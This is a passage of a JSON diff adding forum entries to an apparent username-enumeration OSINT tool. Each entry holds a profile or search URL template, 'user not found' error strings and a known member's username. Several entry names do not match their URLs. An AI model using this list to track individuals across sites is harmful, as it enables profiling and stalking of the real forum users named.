"\\W", + "url": "http://rodniki.do.am/index/8-0-{}", + "urlMain": "http://rodniki.do.am", + "usernameON": "N278", + "bad_site": "" + }, + "Forum_rodnovira": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rodnovira.ucoz.ru/index/8-0-{}", + "urlMain": "https://rodnovira.ucoz.ru", + "usernameON": "vioooila", + "bad_site": "" + }, + "Forum_rodoslav": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>", + "errorTyp��": "message", + "url": "http://www.rohitab.com/discuss/index.php?app=core&module=search&do=search&andor_type=&search_app_filters[members][searchInKey]=members&search_app_filters[members][members][sortKey]=date&search_term={}&search_app=members&search_app_filters[members][searchInKey]=members&search_app_filters[members][members][sortKey]=date&search_app_filters[members][members][sortDir]=0", + "urlMain": "http://www.rohitab.com", + "usernameON": "adam", + "comments": "bad", + "bad_site": "" + }, + "Forum_rokslide": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://rokslide.com/forums/members/?username={}", + "urlMain": "https://rokslide.com", + "usernameON": "ukisan", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_rollerclub": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorMsg3": "Срок регистрации домена истек", + "errorTyp��": "message", + "url": "http://forum.rollerclub.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "http://forum.rollerclub.ru", + "usernameON": "snb", + "bad_site": "" + }, + "Forum_Rollitup": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "url": "https://www.rollitup.org/members/?username={}", + "urlMain": "https://www.rollitup.org", + "usernameON": "adam", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_romhacking": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://romhacking.ru/index/8-0-{}", + "urlMain": "https://romhacking.ru", + "usernameON": "debbietk1", + "bad_site": "" + }, + "Forum_romkaq": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://romkaq.ucoz.ru/index/8-0-{}", + "urlMain": "http://romkaq.ucoz.ru", + "usernameON": "luntik333vlz", + "bad_site": "" + }, + "Forum_root_cern": { + "country": "🇪🇺", + "country_klas": "EU", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://root-forum.cern.ch/u/{}/summary", + "urlMain": "https://root-forum.cern.ch", + "usernameON": "bellenot", + "bad_site": "" + }, + "Forum_rosalinux": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Информация", + "errorMsg2": "Подходящих тем или сообщений не найдено.", + "errorMsg3": "Вы не можете произвести поиск сразу после предыдущего", + "errorTyp��": "message", + "url": "https://forum.rosalinux.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.rosalinux.ru", + "comments": "cf", + "usernameON": "Kelpee", + "bad_site": "" + }, + "Forum_rosen": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forum.rosen.com/u/{}/summary", + "urlMain": "https://forum.rosen.com", + "usernameON": "rdu2018", + "bad_site": "" + }, + "Forum_roses": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://roses.ucoz.ru/index/8-0-{}", + "urlMain": "https://roses.ucoz.ru", + "usernameON": "Roses", + "bad_site": "" + }, + "Forum_rostov": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://forum-rostov.ucoz.org/index/8-0-{}", + "urlMain": "https://forum-rostov.ucoz.org", + "usernameON": "Надя", + "bad_site": "" + }, + "Forum_rotarusofi": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rotarusofi.ucoz.ru/index/8-0-{}", + "urlMain": "https://rotarusofi.ucoz.ru", + "usernameON": "Zvezdochka", + "bad_site": "" + }, + "Forum_rottweiler": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "http://rottweiler.ucoz.ru/index/8-0-{}", + "urlMain": "http://rottweiler.ucoz.ru/", + "usernameON": "Лекс2003", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_router": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.routerforums.com/members/?username={}", + "urlMain": "https://www.routerforums.com", + "usernameON": "difalkner", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_royalcaribbeanblog": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.royalcaribbeanblog.com/boards/index.php?/search/&q={}&quick=1&type=core_members", + "urlMain": "https://www.royalcaribbeanblog.com/", + "usernameON": "mamashark", + "bad_site": "" + }, + "Forum_rpg_net": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.rpg.net/members/?username={}", + "urlMain": "https://forum.rpg.net", + "usernameON": "muddypaw", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_rpgcodex": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://rpgcodex.net/forums/members/?username={}", + "urlMain": "https://rpgcodex.net", + "usernameON": "jed", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_rpgnuke": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum.rpgnuke.ru/search/?q={}&type=core_members", + "urlMain": "https://forum.rpgnuke.ru", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_Rt20_getbb": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "http://www.rt20.getbb.ru/search.php?keywords=&terms=all&author=Tekumze111", + "urlMain": "http://www.rt20.getbb.ru", + "usernameON": "vevk", + "comments": "RUblock", + "bad_site": "" + }, + "Forum_ru-xbox": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ru-xbox.ru/index/8-0-{}", + "urlMain": "https://ru-xbox.ru", + "usernameON": "D1mkanx", + "comments": "Oplata", + "bad_site": "" + }, + "Forum_ru_minecraft": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://ru-minecraft.ru/user/{}", + "urlMain": "https://ru-minecraft", + "usernameON": "dedepete", + "bad_site": "" + }, + "Forum_rudtp": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.rudtp.ru/members/?username={}", + "urlMain": "https://forum.rudtp.ru/", + "usernameON": "irma190", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_rugby": { + "country": "🇮🇹", + "country_klas": "IT", + "errorMsg": "Nessun argomento o messaggio con", + "errorMsg2": "Please wait", + "errorTyp��": "message", + "url": "https://forum.rugby.it/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.rugby.it", + "usernameON": "admin", + "comments": "super", + "bad_site": 1 + }, + "Forum_rumyantsevo": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rurip.ucoz.ru/index/8-0-{}", + "urlMain": "https://rurip.ucoz.ru", + "usernameON": "lomaempochtu", + "bad_site": "" + }, + "Forum_rus-sv-relig": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rus-sv.ucoz.ru/index/8-0-{}", + "urlMain": "https://rus-sv.ucoz.ru/", + "usernameON": "%D0%9E%D0%BB%D0%B0", + "bad_site": "" + }, + "Forum_rus_pravda": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://русскаяправда.su/index/8-0-{}", + "urlMain": "http://русскаяправда.su", + "usernameON": "PashaAlexpit", + "bad_site": "" + }, + "Forum_rusartknife": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rushistory.3dn.ru/index/8-0-{}", + "urlMain": "https://rushistory.3dn.ru", + "usernameON": "uesterr", + "bad_site": "" + }, + "Forum_rusich_ua": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rusich.at.ua/index/8-0-{}", + "urlMain": "https://rusich.at.ua", + "usernameON": "gh1990", + "bad_site": "" + }, + "Forum_ruskeys": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr><td colspan", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://ruskeys.forum24.ru/?32-{}", + "urlMain": "https://ruskeys.forum24.ru/", + "usernameON": "aboc4", + "bad_site": "" + }, + "Forum_ruspatriot": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ruspatriot.ucoz.ru/index/8-0-{}", + "urlMain": "https://ruspatriot.ucoz.ru/", + "usernameON": "emailomaempochty", + "bad_site": "" + }, + "Forum_russiainwar": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://russian-france.ru/index/8-0-{}", + "urlMain": "http://russian-france.ru", + "usernameON": "Airin", + "bad_site": "" + }, + "Forum_russianskyeterriers": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://russims.ru/index/8-0-{}", + "urlMain": "http://russims.ru", + "usernameON": "Nikolette", + "bad_site": "" + }, + "Forum_russkie": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://russkie.ucoz.ru/index/8-0-{}", + "urlMain": "https://russkie.ucoz.ru", + "usernameON": "russkie", + "bad_site": "" + }, + "Forum_rvnetwork": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorTyp��": "message", + "url": "https://www.rvnetwork.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.rvnetwork.com/", + "usernameON": "GeorgiaHybrid", + "bad_site": "" + }, + "Forum_rwg_cc": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://rwg.cc/search/?q={}&quick=1&type=core_members", + "urlMain": "https://rwg.cc", + "usernameON": "Mike", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_rx7fb": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Information", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "http://www.rx7fb.com/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "http://www.rx7fb.com", + "usernameON": "Hellramsden", + "bad_site": "" + }, + "Forum_ryazandog": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "url": "https://rybnoe.net/index/8-0-{}", + "urlMain": "https://rybnoe.net", + "usernameON": "alavatsky", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_rzn": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://forum.rzn.info/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.rzn.info", + "usernameON": "Williamhar", + "bad_site": "" + }, + "Forum_rzngmu": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://rzngmu.ru/index/8-0-{}", + "urlMain": "http://rzngmu.ru/", + "usernameON": "artem300", + "bad_site": "" + }, + "Forum_s-kh": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.s-kh.ru/index/8-0-{}", + "urlMain": "http://www.s-kh.ru", + "usernameON": "fillkenna", + "bad_site": "" + }, + "Forum_s4me": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.s4me.info/members/?username={}", + "urlMain": "https://www.s4me.info", + "usernameON": "adrian", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_s7staff": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "К сожалению", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://s7staff.kamrbb.ru/?x=find&f={}&type=topics&nick=on#top", + "urlMain": "https://s7staff.kamrbb.ru", + "usernameON": "yadn", + "bad_site": "" + }, + "Forum_saabcentral": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.saabcentral.com/members/?username={}", + "urlMain": "https://www.saabcentral.com", + "usernameON": "aerokyle", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_sabnzbd": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Information", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://forums.sabnzbd.org/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://forums.sabnzbd.org", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_saddoboxing": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "This user has not registere", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.saddoboxing.com/boxingforum/member.php?username={}", + "urlMain": "https://www.saddoboxing.com", + "usernameON": "Beanz", + "comments": "ZAK_user", + "bad_site": 1 + }, + "Forum_safakulevo": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://safakulevo.ucoz.ru/index/8-0-{}", + "urlMain": "https://safakulevo.ucoz.ru", + "usernameON": "ninokids", + "bad_site": "" + }, + "Forum_sailboards": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Information", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://sailboardsforum.com/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://sailboardsforum.com", + "usernameON": "Arf", + "bad_site": "" + }, + "Forum_sailingforums": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://sailingforums.com/members/?username={}", + "urlMain": "https://sailingforums.com", + "usernameON": "sweetime", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_sailnet": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.sailnet.com/members/?username={}", + "urlMain": "https://www.sailnet.com", + "usernameON": "colemj", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_saintsrowmods": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.saintsrowmods.com/forum/members/?username={}", + "urlMain": "https://www.saintsrowmods.com", + "usernameON": "elchuy", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_salekhardnews": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://salekhardnews.ucoz.ru/index/8-0-{}", + "urlMain": "https://salekhardnews.ucoz.ru", + "usernameON": "ACID", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_salfetka": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://salfetka.at.ua/index/8-0-{}", + "urlMain": "https://salfetka.at.ua", + "usernameON": "Yarinka", + "bad_site": "" + }, + "Forum_salo": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://salo.ucoz.ru/index/8-0-{}", + "urlMain": "https://salo.ucoz.ru", + "usernameON": "Vitalinestik", + "bad_site": "" + }, + "Forum_salon-gala": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://salon-gala.moy.su/index/8-0-{}", + "urlMain": "https://salon-gala.moy.su", + "usernameON": "hairs", + "bad_site": "" + }, + "Forum_salsa": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.salsaforums.com/members/?username={}", + "urlMain": "https://www.salsaforums.com", + "usernameON": "so1001", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_samara-clad": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://samara-clad.ru/index/8-0-{}", + "urlMain": "http://samara-clad.ru", + "usernameON": "Dersu", + "comments": "Oplata", + "bad_site": "" + }, + "Forum_samara-gaming": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://samara-gaming.clan.su/index/8-0-{}", + "urlMain": "https://samara-gaming.clan.su", + "usernameON": "deirdremo3", + "bad_site": "" + }, + "Forum_samarahunter": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "404 Not Found", + "errorTyp��": "message", + "url": "http://samarahunter.ru/forums/member.php?username={}", + "urlMain": "http://samarahunter.ru", + "usernameON": "Lonsdale", + "bad_site": "" + }, + "Forum_samatow": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://samatow.my1.ru/index/8-0-{}", + "urlMain": "https://samatow.my1.ru/", + "usernameON": "plats", + "bad_site": "" + }, + "Forum_samimiyat": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://samimiyat.ucoz.net/index/8-0-{}", + "urlMain": "https://samimiyat.ucoz.net", + "usernameON": "MaRJoNa", + "bad_site": "" + }, + "Forum_samovar": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://www.samovar-forum.ru/index/8-0-{}", + "urlMain": "https://www.samovar-forum.ru", + "usernameON": "MrKoteika", + "bad_site": "" + }, + "Forum_samp-rp": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://samp-rp.online/members/?username={}", + "urlMain": "https://samp-rp.online", + "usernameON": "allen_tyanytov", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_samp-sektor": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.samp-sektor-2.ru/index/8-0-{}", + "urlMain": "http://www.samp-sektor-2.ru", + "usernameON": "wellnemo7", + "bad_site": "" + }, + "Forum_samp-top": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "url": "https://samp-top.at.ua/index/8-0-{}", + "urlMain": "https://samp-top.at.ua", + "usernameON": "Diablo", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_samru": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Информация отсутствует", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.samru.ru/new/forum/userinfo/user_{}.html", + "urlMain": "https://www.samru.ru", + "usernameON": "Ken", + "bad_site": "" + }, + "Forum_sanatorii": { + "country": "🇧🇾", + "country_klas": "BY", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "<title>Санатории Беларуси Белоруссии • Информация", + "errorMsg3": "SQL ERROR", + "errorTyp��": "message", + "url": "http://forum.sanatorii.by/search.php?keywords=&terms=all&author={}", + "urlMain": "http://forum.sanatorii.by", + "usernameON": "pavlovich", + "bad_site": "" + }, + "Forum_sannata": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://www.phantom.sannata.org/search.php?keywords=&terms=all&author={}", + "urlMain": "https://www.phantom.sannata.org", + "usernameON": "RafGul", + "bad_site": "" + }, + "Forum_santacruz": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.santacruzforums.com/members/?username={}", + "urlMain": "https://www.santacruzforums.com", + "usernameON": "cargonaut", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_santechniki": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Не найдено ни одного пользователя", + "errorMsg2": "action=\"./ucp.php?mode=login\">", + "errorTyp��": "message", + "url": "https://santechniki.com/memberlist.php?username={}", + "urlMain": "https://santechniki.com", + "usernameON": "Murza74", + "bad_site": "" + }, + "Forum_santehnik": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "http://сантехсвар.рф/search.php?keywords=&terms=all&author={}", + "urlMain": "http://сантехсвар.рф", + "usernameON": "SVAR", + "bad_site": "" + }, + "Forum_sape": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "content=\"noindex,follow", + "errorTyp��": "message", + "url": "http://forum.sape.ru/member.php?username={}", + "urlMain": "http://forum.sape.ru", + "usernameON": "Nike99", + "comments": "Archive", + "bad_site": 1 + }, + "Forum_saranskchess": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "pr('','','',''", + "errorMsg2": "профиль
", + "errorTyp��": "message", + "url": "https://saranskchess.forum24.ru/?32-{}", + "urlMain": "https://saranskchess.forum24.ru", + "usernameON": "admin", + "bad_site": "" + }, + "Forum_Sat-prof_BLOCK_RU_IP": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Користувач не зареєстрований і не має профілю, який можна переглянути.", + "errorMsg2": "content=\"noindex,follow", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://sat-prof.com.ua/member.php?username={}", + "urlMain": "https://sat-prof.com.ua", + "usernameON": "kreshnot", + "bad_site": "" + }, + "Forum_satisfacktion": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://satisfacktion.ucoz.ru/index/8-0-{}", + "urlMain": "https://satisfacktion.ucoz.ru", + "usernameON": "satisfacktion", + "bad_site": "" + }, + "Forum_sauna": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://www.saunaforums.com/forums/users/{}/", + "urlMain": "https://www.saunaforums.com", + "usernameON": "rick", + "comments": "cf", + "bad_site": 1 + }, + "Forum_saunabauen": { + "country": "🇩🇪", + "country_klas": "DE", + "errorMsg": "Es wurden keine passenden Ergebnisse gefunden", + "errorMsg2": "Information", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.saunabauen.de/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Suche", + "urlMain": "https://www.saunabauen.de", + "usernameON": "klaus", + "bad_site": "" + }, + "Forum_savasleyka": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://savasleyka.ru/index/8-0-{}", + "urlMain": "http://savasleyka.ru", + "usernameON": "catalogs123123", + "bad_site": "" + }, + "Forum_say7": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено", + "errorMsg2": "", + "errorTyp��": "message", + "url": "https://forum.say7.info/search.php?search_author={}", + "urlMain": "https://forum.say7.info", + "usernameON": "Fia-Lka", + "bad_site": "" + }, + "Forum_sayyod": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://sayyod.com/index/8-0-{}", + "urlMain": "http://sayyod.com/", + "usernameON": "mushkulsavdo", + "bad_site": "" + }, + "Forum_sc2mafia": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "This user has not", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.sc2mafia.com/forum/member.php/?username={}", + "urlMain": "https://www.sc2mafia.com", + "usernameON": "Gikkle", + "bad_site": "" + }, + "Forum_scalemodeladdict": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.scalemodeladdict.com/members/?username={}", + "urlMain": "https://www.scalemodeladdict.com", + "usernameON": "spruecutter", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_scb": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://scb.ucoz.ru/index/8-0-{}", + "urlMain": "https://scb.ucoz.ru", + "usernameON": "roterb", + "bad_site": "" + }, + "Forum_school-1130": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://school-1130.ucoz.ru/index/8-0-{}", + "urlMain": "https://school-1130.ucoz.ru", + "usernameON": "KPECT", + "bad_site": "" + }, + 